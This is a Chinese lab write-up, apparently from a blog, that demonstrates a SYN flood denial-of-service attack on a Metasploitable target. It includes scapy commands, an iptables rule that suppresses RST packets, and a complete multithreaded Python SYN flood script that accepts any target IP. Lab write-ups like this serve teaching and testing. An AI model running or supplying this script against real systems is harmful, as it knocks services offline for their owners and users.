2021-10-17 DDos攻击

 一、实验题目:

        DDos攻击
         

二、实验内容:

        对 Metasploitable 靶机进行 Dos 攻击
           

三、环境准备:

(1)kali虚拟机(python版本为3.6及以上)

(2)Metasploitable靶机

四、实验步骤:

(1)查看Metasploitable靶机IP:

 (2)在SYN FLOOD攻击发起之前,需要正常访问服务器上的web服务:

 

 (3)打开wireshark对靶机进行抓包:

(4)在攻击开始之前,首先要发送阻断第三次客户端想服务端发的ack数据包,确保数据包正确:

        命令:

scapy

i = IP()

i.dst = "192.168.32.129"

t = TCP()

t.dport = 80

sr1(i/t,verbose=1,timeout=2)

执行命令后观察抓包情况:

 可以看到目标服务器成功给我们返回SYN+ACK数据包,但是第三个数据包确实RST数据包而不是ACK数据包。原因:一开始的SYN数据包是我们使用scapy发出的,并不是操作系统自己主动发出的,所以当操作系统收到一个SYN+ACK数据包时,它会认为这个连接不是我发出的,就会主动拒绝连接,并返回RST数据包。

(5)使用Linux下的iptables命令禁止系统自动给目标发送RST数据包,从而达到建立半开连接的效果:

        命令:

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.32.129 -j DROP

(6)创建SYN FLOOP攻击脚本:

(7)编辑脚本并保存:

        代码如下:

#!/usr/bin/python
#coding:utf-8

from scapy.all import *
from time import sleep
import _thread
import random

def syn_flood(target,port):
    while 1:
        rand = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=rand),verbose=0)

def main():
    if len(sys.argv) != 4:
        print("参数错误,用法如下:")
        print("python syn_flood.py [IP] [port] [threadcount]")
        sys.exit()

    target = sys.argv[1]
    port = int(sys.argv[2])
    thread_count = int(sys.argv[3])
    print("SYN Flood start,press Ctrl+C to stop.")
    for i in range(thread_count):
        _thread.start_new_thread(syn_flood,(target,port))
    while 1:
        sleep(1)

if __name__ == "__main__":
    main()

(8)更新python(3.6版本及以上)

        命令:

 查看python版本号:

python -V

 更新python:

update-alternatives --install /usr/bin/python python /usr/bin/python3 150

(9)安装python管理工具pip:

        命令:

wget https://bootstrap.pypa.io/get-pip.py

python get-pip.py

 

(10)安装scapy:

        命令:

pip install scapy-python3

(11)执行SYN FLOOP攻击脚本:

        命令:

python syn_flood.py IP 端口号 线程数

(12)再次打开wireshark抓包,可以看到抓取到大量SYN请求数据包,而且已经没有RST数据包了:

 (13)在metasploitable靶机上查看已建立的SYN连接数:

        命令:

netstat -pantu | grep SYN

 此时可以看到已经建立了大量连接。

五、实验总结:

SYN FLOOD攻击的原理:

        阻断TCP三次握手的第三次ACK包,即不对服务器发送的SYN+ACK数据包做出应答。由于服务器没有收到客户端发来的确认响应,就会一直保持连接直到超时,当有大量这种半开连接建立时,即造成SYN Flood攻击。

感兴趣的小伙伴赶快去尝试一下吧!

猜你喜欢

转载自blog.csdn.net/m0_58489132/article/details/120810831